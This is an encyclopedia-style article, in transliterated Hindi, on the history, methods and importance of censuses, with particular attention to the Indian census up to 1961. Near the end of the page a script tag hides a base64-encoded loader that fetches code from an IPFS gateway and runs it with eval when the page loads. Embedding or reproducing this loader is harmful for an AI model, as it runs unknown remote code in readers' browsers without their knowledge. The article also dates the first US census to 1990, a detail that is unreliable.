जनगणना

thumb|250px|janaganana pratik chihn 2011 janaganana ka shabdik arth hai manushyoan ki ganana, kiantu adhunik arth mean janaganana kisi kshetr ya desh ke gram, nagar ya upakshetroan ke nivasiyoan ki sankhya tatha tatsanbandhi vibhinn tathyoan jaise ayu, liang, shiksha, karyakalap, nivas, ashritoan tatha dharm adi ki sankhya ke atirikt krishi, udyog dhandhoan, pashu dhan, khanij evan any prakritik tatha jan-sadhanoan ka samasamayik vaijnanik vivaran prastut karati hai. at: 'janaganana' sansar ke lagabhag sabhi sabhy deshoan mean sadharan avadhik ganana matr hi nahian, pratyut nivasiyoan ki sankhya tatha tatsanbandhi any tathyoan ka samasamayik vivaran prastut karane vali rashtriy sanstha ho gee hai, jisapar prashasanik evan ayojana sanbandhi sarakari nitiyaan nirdharit hoti haian.

itihas

sarvapratham janaganana ka prachalan sansar ke kis kshetr ya desh mean hua, isaka aitihasik praman upalabdh nahian hai, kiantu itihasakaroan ka mat hai ki isaka prachalan ati prachin kal se sansar ke vibhinn bhagoan mean raha hai, yadyapi isaka roop avyavasthit tha. sansar ke vibhinn kshetroan mean jab jatiy ya parivarik sangathan tha, tab neta ko apane varg tatha pashudhan ka pata rahata tha. vipatti ke dinoan mean sanpoorn varg ki guhar hoti thi aur bhojadi ke avasaroan par sab nimantrit hote the. poorvavaidik kal mean bharat mean ary log apani jatiyoan, kuru, yadu adi mean bante the aur raja ko poori jati ka pata rahata tha. mahabharat mean kauravoan aur paandavoan ne apane apane sainyadal ki ganana dvara apani apani shakit ka akalan aur yuddhayojan kiya tha.

seansas (Census)

seansas (Census-janaganana) shabd rom ke prachin shabd seansar (Censor) se bana hai, jabaki roman rajyasevak, jinhean seansar (Censor) kahate the, sarakari nirdeshanusar prati paanchave varsh rajy ke parivaroan tatha pratyek parivar ke sadasyoan ki sankhya tatha arthik aur samajik tathyoan ka vivaran prastut karate the. isaka praranbh sarviyat taliyas namak rom ke chhathe raja (578-534 ee.poo.) ne kiya tha. aaugastas ne eesa se paanch varsh poorv is riti ko sanpoorn rom samrajy mean prachalit kar diya.

pranali tatha tathyik svaroop adhunik janaganana ka svaroop atyant vishad hota ja raha hai. isamean kisi desh ke pratyek vyakti, parivar, gram, muhalla, nagar, vibhinn prashasakiy kshetroan aur sanpoorn kshetr ke manushyoan tatha unaki avasiy, arthik, samajik, dharmik, shaikshik, jatiy, rajanitik tathyoan, aant: kshetriy, aant:praantiy ya aantararashtriy gamana-gaman, bekari adi vivaranoan ka samavesh rahata hai. ye sab tathy nirantar parivartanashil haian, at: prati paanch ya das varshoan pashchath‌ ye aank de lie jate haian, jisase tathyoan mean parivartanakram ke anusar sarakari niti aur yojanaoan tatha vibhinn madoan mean, amadani kharch ki yojanaoan mean bhi, avashyakatanusar sanshodhan tatha parivartan kiya ja sake.

janaganana ka svaroop

janaganana ka svaroop prastut karane ke lie vibhinn deshoan mean uddeshyanusar vibhinn pranaliyaan upayog mean laee jati haian. ganana ki pradhanataya do pranaliyaan prachalit haian ek yatharth (de facto), doosari ayatharth (de Jure). yatharth pranali ke anusar nirdharit janaganana ke samay vyakti ko usake tatkalik avas ya thaharav ke sthan par hi pariganit kar diya jata hai, yadyapi vastut: usaka sthayi ya lagabhag sthayi avas doosare kshetr mean sthit rahata hai. ayatharth pranali mean vyakti ko janagananakalik thaharav par nahian, pratyut usake sthayi ya mukhy nivasasthan ki ginati mean sammilit kiya jata hai. at: jise desh ya kshetr ki janata adhik chal nahian hai, vahaan to ek gananaank se kary sanpann ho jata hai, parantu udyogapradhan deshoan mean adhik logoan ke nirantar chal hone se ganana-sanbandhi samasy durooh ho jati hai. is dooroohata ko kam karane ke lie ganana ki ek nishchit avadhi nirdharit karake janata se us kal mean sthanaantaran n karane ki apil ki jati hai, taki yatharth ganana ho sake, aur is prakar aank de doosari pranali ke saman ho jate haian. aisa n hone par yatharth ganana mean prachur trutiyaan a jati haian aur ganana ka uddeshy nirarthak ho jata hai, jaise kisi nagar mean ek lakh nivasi haian or vahaan avasiy kathinaee hai. yadi ganana kal mean yatharthan pranali dvara keval 50 hazar hi gine jate haian, to vahaan ki avasiy kathinaee ka pata nahian chal paega. dvitiy pranali bhi dosharahit nahian hai. udaharansvaroop, bharat ke parvatiy nagaroan mean sthayi tatha grishmakalin janasankhya mean bahut hi aantar rahata hai aur yadi grishmakal mean ganana ki jati hai, to yatharth janasankhya ka pata hian nahian chalata. vaise hi b de nagaroan ke keandriy sthanoan mean din (karyalay k samay) aur ratri ki janasankhya mean paryapt aantar rahata hai. is prakar donoan pranaliyaan dosharahit nahian hai. kuchh deshoan mean aisi trutiyoan ko door karane ke lie kuchh upay prayukt hote haian.

bharatiy janaganana doosari pranali ke anusar sanpann hoti hai, kiantu parvatiy bhramanasthaloan ki janasankhya ke sahi akalan ke lie grishm ev ja de donoan rrituoan mean ganana ki jati hai. niche kuchh deshoan ki pranaliyoan ka vivaran diya jata hai:

briten ki janaganana dasavarshiy hai aur yatharth pranali dvara sanpann hoti hai. grihapati dvara prashnavali bhari jati hai. talika mean vyakti ka nam, grihapati se sanbandh, ayu, liang, vaivahik (Married status) avastha, maan bap ka jivit ya mrit hona, janmasthan, rashtriyata, shikshastar, vyavasay, audyogik svaroop, malik, vetan bhogi ya apana dhandha karane vala, sthan, jivit santanoan ki sankhya tatha ayu aur 16 varsh se kam umravali sauteli santanean. phraans aur jarmani mean panchavarshiy tatha amarika evan itali mean dasavarshiy janaganana hoti hai.

janasankhya khata

janasankhya khata dasavarshiy ya panchavarshiy janagananaoan ki duroohata ke nivaran ke lie kuchh deshoan mean janasankhya khata ka prachalan praranbh ho gaya hai, jisamean pratyek vyakti ke sanbandh ka vividh vivaran samavisht hota hai. isamean kisi vyakti se sanbandhit vivaranoan mean hone vale kramik parivartanoan ka suvidhapoorvak ullekh hota rahata hai aur is prakar desh ya kshetr ke kul nivasiyoan ka vishad samasamayik vivaran nirantar taiyar rahata hai. lekin yah asanbhav-sa maloom hota hai. adhikaansh vyaktiyoan ke arthik, samajik, dharmik, rajanitik sthiti mean itane parivartan hote haian ki sabaka nirantar ullekh karate rahana atyant durooh aur bahuvyayasadhy kary hai. aise parivartanakramoan ki thik thik upalabdhi bhi asanbhav hai. halaiand, sviden, beljiyam adi mean kuchh had tak isaka upayog ho raha haian. bharat mean bhi vyaktigat khate ka prachalan hua hai lekin usaka kshetr abhi vyapak nahian hai.

vishesh vivaran

adhunik janagananaoan mean bhi kuchh avashyak tathyoan ka samavesh nahian ho pata, jinaka samavesh adhunik adhyayanashastroan mean anveshanatmak karyoan ke lie adhik upayogi ho sakata hai. sarakari nitiyoan ko nirdisht karane mean bhi unase sahayata prapt hogi. udaharan svaroop, kisi vyakti ke kul shil ka jnan, vivah ke pahale ya bad ke anuchit yaun sanbandh, kisi stri ke kaumaryavastha athava vivahitavastha ki bhroon-hatyaean, any asamajik ya samaj virodhi kary (loot, hatya, papadi) athava guptaangoan ya any aangoan ki bimari adi ka vivaran samajashastr, manovijnan, chikitsashastr, adi ke anveshanatmak karyoan ke lie atyavashyak hai. aise vyaktigat ya parivarik vivaran gopaniy hote haian, jinaka rahasyodghatan avaanchhit hota hai. rahasyodghatan ka bhayanivaran karane par aur pratyek gram ya nagar sanbandhi aise tathyoan ki kul sankhya dikhalane par sanbhavat: aise vivaran prapt ho sakeange.

aankan prakriya

adhunik janaganana mean vibhinn prakar ke vishad aank doan ka vaijnanik aankan, pratichayan (Sampling) tatha vivaran prastut karane ka kary atyant durooh ho gaya hai. is kary mean samayabhav ke karan kshiprata, shuddhi evan vaijnanikata atyavashyak hai, jisase vibhinn karyoan ke lie aank doan evan vivaranoan ka upayog kiya ja sake. amarika jaise deshoan mean aankashastr tatha vaidyutiki ke adhunik siddhaantoan par nirmit yantroan ke upayog dvara aankan, ganana, pratichayan adi kary ati kshiprata tatha kushalata ke sath sanpann hote haian. amarika mean ek adhunikatam yantr se yah kary hota hai, jise yoonivaik (Univac) kahate haian.

bharatiy janaganana

thumb|500px|bharatiy dakatikat mean janaganana barma (vartaman myaanmar) (1936) tatha pakistan ke alag hone jane par bhi bharatiy janaganana sansar mean chin ke bad brihattam hai. bharat ke madras, panjab, uttar pradesh adi rajyoan mean 19vian sadi ke poorvardh mean hi vividh tathyoan par adharit gananaean prastut huee thian, kiantu vastut: 1865-72 ee. ke kal mean desh ke adhikaansh bhag mean ayojit janaganana ho saki. kiantu isase kee b de deshi rajy haidarabad, kashmir, madhy bharat, rajapootana tatha panjab ke rajy labhanvit nahian hue the. yah ganana apoorn bhi thi aur avagaman ke adhunik sadhanoan se vanchit atanrvarti vany tatha marukshetroan mean apoorn dhang se aank de prastut kie ge the. vastut: bharat se tathyaparak evan adhunik dhang ki sarvatha ayojit janaganana 17 pharavari, 1881 ko sanpann huee. phir bhi isamean kashmir, sikkim tatha kuchh any chhote bhag nahian lie ja sake. us samay eest-iandiya kanpani ki kort aph dayarektar ne 1856 mean hi bharat mean das sal janaganana ka nirnay liya tha, par 1857 ke svatantrata sangram ke toofan ne isako u da diya. 1864 mean punah shuroo huee aur rajyoan mean kahian-2 prayog bhi hue. prayogoan ki saphalata ke bad 1881 mean janaganana huee. 1881 se 1961 ee. tak ath janagananaean sanpann ho chuki haian, jo pratyek dashak ke pratham varsh mean li jati haian. 1891 mean kashmir evan sikkim bhi sammilit kie ge. tritiy janaganana 1901 ee. ke pratham march ko sanpann huee, jisamean rajapootane ka bhil kshetr tatha aandaman nikobar dvipasamooh bhi sammilit kie ge. is bar janaganana ki talika taiyar ki gee thi aur pratham bar yahaan parchi pranali ka prayog aranbh hua.

british prashasan ki niti

british prashasan ne pahali janaganana ke bad landan mean kaha tha, hamane pahali bar bharat ke pratyek jan ko pahachana hai. sabhi pe doan par nishan lagaya hai, pratyek palatoo janavaroan ko gina hai, yah sabhi karane ke pichhe sirph ek lakshy tha ki phoot dalo aur raj karo unhoanne janaganana mean mahajab v jati ko samajik vargikaran ka mukhy adhar banaya. hindoo ko bhi islam aur eesaee ke barabar mean rakha. british hukoomat ne pahali bar 1901 mean samajik uchchata ka siddhaant bhi pratipadit kiya. is sianddhat ke adhar par unhoanne jatiyoan ooanch-nich ki khaee paida ki aur us khaee se nikali jati adharit mahasabhaean. 1931 tak to yah niti aangrejoan ko thik lag rahi thi. 1935 ka gavarnamet aph iandiya ekt isi ki den hai. khas yah hai ki is ekt ke 80 pratishat se adhik hisse ko hamare sanvidhan mean shamil kar liya gaya, us ekt mean esati, esasi ke lie arakshan ka siddhaant shamil tha. jab desh azad ho gaya to hamare sanvidhan nirmataoan aur netaoan ne aangrejo ki ‘phoot dalo’ niti se hatate hue janaganana se jati ka kalam hata diya aur ek lakshy rakha ki ham hindustan ko jati vihin samaj banaeange.

svatantrata ke bad

svatantrata-prapti (1947) ke pahale ki janagananaoan mean aangrez shasakoan ne aank doan ko kramabaddh rakhane ki cheshta nahian ki aur vibhinn rajanitik uddeshyoan ki poorti ke lie kabhi sanpraday, kabhi bhasha, kabhi jati adi ke anusar talikaean tatha prashnavaliyaan banati thian. inake atirikt koee sthayi vibhag ya karyalay n hone ke karan yenaken prakaren janaganana sanpann karaee jati thi. svatantrata-prapti ke bad saradar vallabh bhaee patel ne janaganana ke mahatv ko samajhate hue ek sthayi ganana adhiniyam (Census act) parit karaya aur ek pramukh janaganana adhikari ke adhin janaganana karyalay sanghatit hua. 1951 ki janaganana ke lie pahale se hi usaka vishad praroop, vibhinn kshetriy karyalayoan aur karyakartaoan ka nirdharan, ganana talika tatha desh ki vibhinn bhashaoan ev sthaniy boliyoan mean parche taiyar kar lie ge. desh ko ganana pramandal evan ganana pramandaloan ki ganana khandoan mean baant liya gaya. svatantr bharat ki pratham janaganana mean 5,93,518 ganak, 80,006 nirikshak tatha 8,954 kary adhikari lage the.

1951 ki janaganana

1951 ki janaganana ke kuchh pramukh tathy is prakar haian :--

• pratyek vyakti ki ginati keval ek bar huee aur adhikaansh vyaktiyoan ki ginati unake samany nivas sthan (usual place of residence) par huee.
• parche (Census slip) ke atirikt pratyek nagarik sanbandhi vivaran rakhane ke lie rashtriy nagarik panjika (National register of citizens) praranbh ki gee.
• pratyek gram, muhalle, ya nagar ke nivasiyoan ki sankhya, liang, shiksha star, tatha ajivika ke ath sadhanoan char krishi tatha char akrishajniy karyoan mean lage logoan ki alag alag talika prastut ki gee. vishad prashnavali ka roop is prakar haian :--

1. nam, grihasvami se sanbandh, janmasthan, liang, ayu aur vaivahik tathy;
2. parivarik arthik svaroop sadasyoan ke vyavasay ki sthiti (Employment status), ajivika ke pramukh tatha gaun (yadi hoan) sadhan;
3. rashtriyata, dharm, 'vishesh samooh' ki sadasyata (jaise pichh da varg, anusoochit jatiyaan), matribhasha, dvibhashikata (yadi hai), shikshan star, aur desh parivartan vivaran (displacement).

bharat ki 1961 ki janaganana 1951 ki janaganana se bhi adhik vishad evan vyapak hai. yah 5 march, 1961 ko sanpann huee. bharatiy janaganana ke itihas mean pratham bar 1961 mean 'grih' ke ikaee manakar usake avasiy ya any karyoan (functions of a house or use of a house), divar tatha chhat nirman ke saman, kamaroan ki sankhyaean, grihasvamitv ka vivaran adi tathyoan ka samavesh kiya gaya hai. isake atirikt 1961 mean nau sadhanoan ke lie soochanaean prapt ki gee. 1961 ki janaganana mean nimnaankit panjikaean prastut ki gee :--

1. bhag 1 janaganana ka samany vivaran, gaun sarani. isake atirikt 1951-61 ee. ki dashabdi ke janm maran ke aank de,
2. bhag 2 saraniyaan,
3. bhag 2 (k) samany janasankhya sarani aur pramukh ganana vishayak sankshipt panjikaean,
4. bhag 2 (kh) samany janasankhya ki arthik sarani.
5. bhag 2 (g) saanskritik aur sthanaantaran sarani.
6. bhag 3 parivarik arthik sarani, parivar ke sadasyoan ki sankhya or sadasyiy vivaran
7. bhag 4 grih tatha sansthapan sarani evan vivaran
8. bhag 5 vishesh saraniyaan (pichh di jatiyaan or anusoochit jatiyaan) evan any jatiy vivaran .
9. bhag 6 gramin kshetroan ke sarvekshan.
10. bhag 7 hastakalaoan ka sarvekshan;
11. bhag 8 janaganana ka prashasakiy vivaran (bikri ke lie nahian),
12. bhag 9 manachitravali.
13. bhag 10 das lakh tatha usase adhik janasankhyavale nagaroan ki vishesh vivaranapanjika.

any prakar ke vivaran sanyukt rajy tatha kuchh any deshoan mean in gananaoan ke atirikt kuchh vivaran bhi die jate haian, jo vibhinn prashasanik evan ayojan karyoan ke lie atyavashyak haian.

rajanitik mahatv

rajanitik parivartanoan ka janasankhya se ghanishth sanbandh hai. is prakar niyatakalin janaganana ka sootrapat hi rajanitik karanoan se sarvapratham sanyukt rajy amarika mean hua. vahaan pratyek rajy se sab sarakar mean jane vale pratinidhiyoan ki sankhya tatha kararopan ki matra nirdharit karane ke lie is kism ki ganana sarvapratham 1990 mean ki gee aur tab se prati das varsh bad yah ganana li jati hai. bharat mean aangreji shasanakal mean saiman kamishan aur golamez sammelanoan ke bad hone vale parivartan, saanpradayikata ka phaisala, bharat sarakar ka sanh‌ 1935 ka adhiniyam adi kafi had tak 1921 aur 1931 ki janaganana riport par adharit the. is prakar 1947 ka 'redakliph phaisala', visheshakar bangal aur panjab ka vibhajan 1941 ki janaganana ke adhar par hua. isi prakar 1953 mean bhasha ke adhar par aandhr rajy ka nirman aur sanh‌ 1960 mean brihath‌ banbee rajy ka gujarat aur maharashtr ke do pradeshoan mean vibhajan sanh‌ 1951 ki janaganana ke adhar par hua. chunav ke samay vibhinn nirvachit kshetroan ka bantavara bhi janaganana riport par adharit hota hai. sarakar ki sari vaijnanik tatha shasan sanbandhi karravaee janaganana se prapt soochanaoan par adharit hoti hai.

arthik mahatv

janaganana se prapt aank doan ka arthik kshetr mean kafi mahatv hai. in aank doan ke adhar par hi sarakar ane vali pidhi ke lie shiksha, svasthy, aur any nagarik suvidhaoan ko dene ki yojana banati hai, pratyek janaganana riport ke sath ayu talikaean bhi di rahati haian, jisase sarakar anuman lagati hai ki amuk samay rozagar dhooandhane valoan ki sankhya itani hogi aur usi ke anusar rozagar vyavastha ka prabandh karati hai. aj niyojan aur poorn rozagar ke yug mean isaka b da mahatv hai. isake atirikt desh mean prati vyakti ausat ay tatha vastr adi any vastuoan ka upabhog aur desh ke logoan ke rahan-sahan ke star ka anuman bhi janaganana se prapt aank doan ke adhar par lagaya jata hai. isi ke adhar par keandriy tatha rajy sarakaran apana salana bajat banati haian aur janata par kar lagati haian. inhian aank doan ke adhar par yah bhi pata lagaya ja sakata hai ki desh mean janasankhya tatha khady padarthoan ke utpadan, donoan mean kis mean tivratar gati se vriddhi ho rahi hai. yadi janasankhya ki vriddhi ki dar adhik tez hai to yah desh ke lie chiantajanak vishay hoga. phir sarakar ko bhavishy mean durbhiksh ki sanbhavana se bachane ke lie bandh karana p dega aur janasankhya niyantran ki avashyakata ho sakati hai par aank doan ke adhar par nishkarsh nikalate samay paryapt savadhani baratani chahie.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• bharat ki janaganana 2011
• janaganana ke aank de
• "bharat ki janaganana 2011" ek nazar
• janaganana-2011
• jativihin janaganana kyoan